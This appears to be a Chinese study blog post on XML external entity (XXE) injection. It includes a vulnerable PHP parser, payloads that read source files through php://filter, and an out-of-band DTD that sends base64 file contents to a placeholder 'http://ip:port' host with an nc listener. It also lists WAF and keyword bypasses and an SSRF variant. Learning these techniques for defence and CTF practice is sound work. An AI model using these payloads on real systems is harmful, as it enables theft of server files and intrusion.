Xml外部实体注入学习

前置知识之XML语言

xml语言指可扩展标记语言,构建模块:xml声明,文档类型定义(DTD),文档元素。

其中DTD可以内部声明和外部引用:

DTD声明语法

<!DOCTYPE 名字 [内容]>

外部引用语法

<!DOCTYPE 名字 SYSTEM "XXX.dtd">

实体在DTD中定义,在元素中引用

实体声明例子

<!ENTITY 名字 "内容"><!-- 一般实体声明语法 -->
<!ENTITY % 名字 "内容"><!-- 参数实体声明语法 -->

在元素中引用实体例子

<username>&名字;</username><!-- 引用一般实体 -->
<username>%名字;</username><!-- 引用参数实体 -->

有回显的xxe利用

通过构造恶意的实体并引用造成xxe攻击

构造一个可以解析xml的php文件

<?php
libxml_disable_entity_loader(false);#启用可以加载外部实体
$xmlfile=file_get_contents(php://input);
$dom=new DOMDocument();
$dom->loadXML($xmlfile,LIBXML_NONET | LIBXML_DTDLOAD);#加载xml
$creds=simplexml_import_dom($dom);#把DOM节点转换为SimpleXMLElement对象
echo $creds;
?>

构造payload来读取test.php文件内容

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY aa  SYSTEM "php://filter/read=convert.base64-encode/resource=test.php">
]>
<creds>&aa;</creds>

打一下获得base64加密的test.php源码

无回显xxe利用

远程调用自己服务器上的恶意dtd从而将数据发到自己服务器上。

此时把存在xxe的php文件改为如下

<?php
libxml_disable_entity_loader(false);#启用可以加载外部实体
$xmlfile=file_get_contents(php://input);
$dom=new DOMDocument();
$dom->loadXML($xmlfile,LIBXML_NONET | LIBXML_DTDLOAD);#加载xml
?>

在自己的服务器上放入文件remote.dtd,内容如下:

<!ENTITY % file SYSTEM "php://filter/read=string.base64-encode/resource=test.php" >
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:port?q=%file;'>">
%int;
%send;

 payload如下:

<!DOCTYPE convert[
<!ENTIYT % remote SYSTEM "http://ip/remote.dtd">
%remote;
]>
<convert/>

 攻击利用方式同上,在服务器上开nc监听即可收到数据。

xxe bypass

上传xml文件但关键字被过滤时可用如下命令进制转换

iconv -f utf8 -t utf16 1.xml>2.xml

绕过关键字SYSTEM的过滤payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY aa  PUBLIC "Yu" "php://filter/read=convert.base64-encode/resource=test.php">
]>
<creds>&aa;</creds>

绕过远程dtd的过滤:

在服务器上构造如下文件命名为1.d(引用dtd不一定非要用.dtd结尾)

<!ENTITY aa  PUBLIC "Yu" "http://127.0.0.1/flag.php"><!-- 这里结合ssrf利用,以本机身份访问flag.php>

提交payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE x PUBLIC "aa" "http://ip/1.d">
<value>&aa;</value>

变换编码绕过:

<?xml version="1.0" encoding="utf-7"?>

后跟相应编码的内容。

其他绕过:

有些waf会检测xml文档开头的某些字符串或正则,而xml格式允许在<?xml?>和<!DOCTYPE>中插入足够多的空格来绕过过滤。

posted @ 2022-01-03 10:24  Yu_so1dier0n  阅读(296)  评论(0编辑  收藏  举报